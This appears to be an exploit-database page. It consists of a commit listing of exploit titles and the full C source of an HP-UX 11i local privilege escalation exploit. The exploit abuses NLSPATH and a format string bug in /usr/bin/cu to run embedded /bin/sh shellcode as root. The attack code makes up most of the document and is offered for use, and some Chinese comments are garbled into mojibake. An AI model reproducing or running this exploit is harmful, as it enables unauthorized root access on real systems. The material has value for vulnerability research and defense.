880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
99 lines
No EOL
3.5 KiB
C
99 lines
No EOL
3.5 KiB
C
// source: https://www.securityfocus.com/bid/8985/info
|
||
|
||
HP-UX allows the NLSPATH to be set for setuid root programs, which use catopen(3C) and may be executed by other local users. This could result in privilege escalation as an attacker could specify an arbitrary path for a message catalogue, which will be opened with elevated privileges.
|
||
|
||
/*********************************************************************************************
|
||
* Name : x_hpux_11i_nls_cu.c
|
||
* Usage : cc x_hpux_11i_nls_cu.c -o x_cu ; ./x_cu
|
||
* Purpose :
|
||
* Get local rootshell from /usr/sbin/ping using HPUX location language format string bug.
|
||
* Author : watercloud
|
||
* Date : 2003-1-4
|
||
* Tested : On HP-UX B11.11
|
||
* Note : Use as your risk!
|
||
*********************************************************************************************/
|
||
#include<stdio.h>
|
||
|
||
#define PATH "PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin"
|
||
#define TERM "TERM=xterm"
|
||
#define NLSPATH "NLSPATH=/tmp/.ex.cat"
|
||
|
||
#define CMD "/usr/bin/cu abc_ "
|
||
#define MSG "\$set 1\n32 "
|
||
#define PRT_ARG_NUM 2 /* xprintf([x1],[x2],"fm" . .) x1 and x2 all exists eq 3 */
|
||
#define STACK_LEN 0x1c0 /* The space of caller-fprintf to main function stack offset */
|
||
|
||
#define ENV_BEGIN 0x40 /* Our buffer put in TZ ENV's begin address */
|
||
#define ENV_LEN 0x40 /* Our env len */
|
||
#define LOW_STACK 0x210 /* Our's main stack begin addr, for all program because our env len :) */
|
||
|
||
char buffer[512];
|
||
char buff[72]=
|
||
"\x0b\x5a\x02\x9a\x34\x16\x03\xe8\x20\x20\x08\x01\xe4\x20\xe0\x08"
|
||
"\x96\xd6\x04\x16\xeb\x5f\x1f\xfd\x0b\x39\x02\x99\xb7\x5a\x40\x22"
|
||
"\x0f\x40\x12\x0e\x20\x20\x08\x01\xe4\x20\xe0\x08\xb4\x16\x70\x16"
|
||
"/bin/shA";
|
||
int * pint = (int *) &buff[56];
|
||
unsigned int haddr = 0; /* heigh 16 bit of stack address */
|
||
unsigned int dstaddr = 0; /* fprintf's return addr store here */
|
||
|
||
int main(argc,argv,env)
|
||
int argc;char ** argv;char **env;
|
||
{
|
||
unsigned int * pa = (unsigned int*)env;
|
||
FILE * fp = NULL;
|
||
int xnum = (LOW_STACK - ENV_BEGIN + STACK_LEN -56 -12 -36 -PRT_ARG_NUM*4)/4; /* the number of %.8x */
|
||
int alig1= ENV_BEGIN - xnum*8;
|
||
int alig2=0;
|
||
int i=0;
|
||
|
||
while(*pa != NULL) /* clean all env */
|
||
*pa++=0;
|
||
|
||
if(strlen(CMD) >ENV_BEGIN-3)
|
||
{
|
||
printf("No enough space to alig our env!\n");
|
||
exit(1);
|
||
}
|
||
|
||
haddr = (unsigned int)&fp & 0xffff0000;
|
||
if(alig1 < 0)
|
||
alig1+=0x10000;
|
||
alig2 = (haddr >> 16) - alig1 -xnum*8 ;
|
||
if(alig2 < 0)
|
||
alig2+=0x10000;
|
||
|
||
dstaddr= haddr+ LOW_STACK + STACK_LEN -24; /* fprintf's return addr stored here */
|
||
*pint++=dstaddr;
|
||
*pint++=dstaddr;
|
||
*pint++=dstaddr;
|
||
*pint = 0;
|
||
|
||
/* begin to make our .cat file */
|
||
fp = fopen("/tmp/.ex.k","w");
|
||
if(fp == NULL)
|
||
{
|
||
printf("open file : /tmp/.ex.k for write error.\n");
|
||
exit(1);
|
||
}
|
||
fprintf(fp,"%s",MSG);
|
||
for(;i<xnum;i++)
|
||
fprintf(fp,"%%.8x");
|
||
fprintf(fp,"%%.%ix%%n",alig1);
|
||
fprintf(fp,"%%.%ix%%hn",alig2);
|
||
fclose(fp);
|
||
fp = NULL;
|
||
system("/usr/bin/gencat /tmp/.ex.cat /tmp/.ex.k");
|
||
unlink("/tmp/.ex.k");
|
||
/* end make our .cat file */
|
||
|
||
/* put our env,store our shellcode and address info . . . and so on */
|
||
sprintf(buffer,"TZ=%*s%s%*s",ENV_BEGIN-3-strlen(CMD),"A",buff,ENV_BEGIN+ENV_LEN-strlen(buff),"B");
|
||
putenv(buffer);
|
||
putenv(PATH);
|
||
putenv(TERM);
|
||
putenv(NLSPATH);
|
||
|
||
printf("<EFBFBD>ǵ<EFBFBD>ɾ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD>ļ<EFBFBD>(Remember to delete the file): /tmp/.ex.cat .\n");
|
||
execl("/usr/bin/cu","/usr/bin/cu","abc_",0); /* <20><>Ϸ<EFBFBD><CFB7>ʼ<EFBFBD><CABC> <20><><EFBFBD><EFBFBD> */
|
||
} |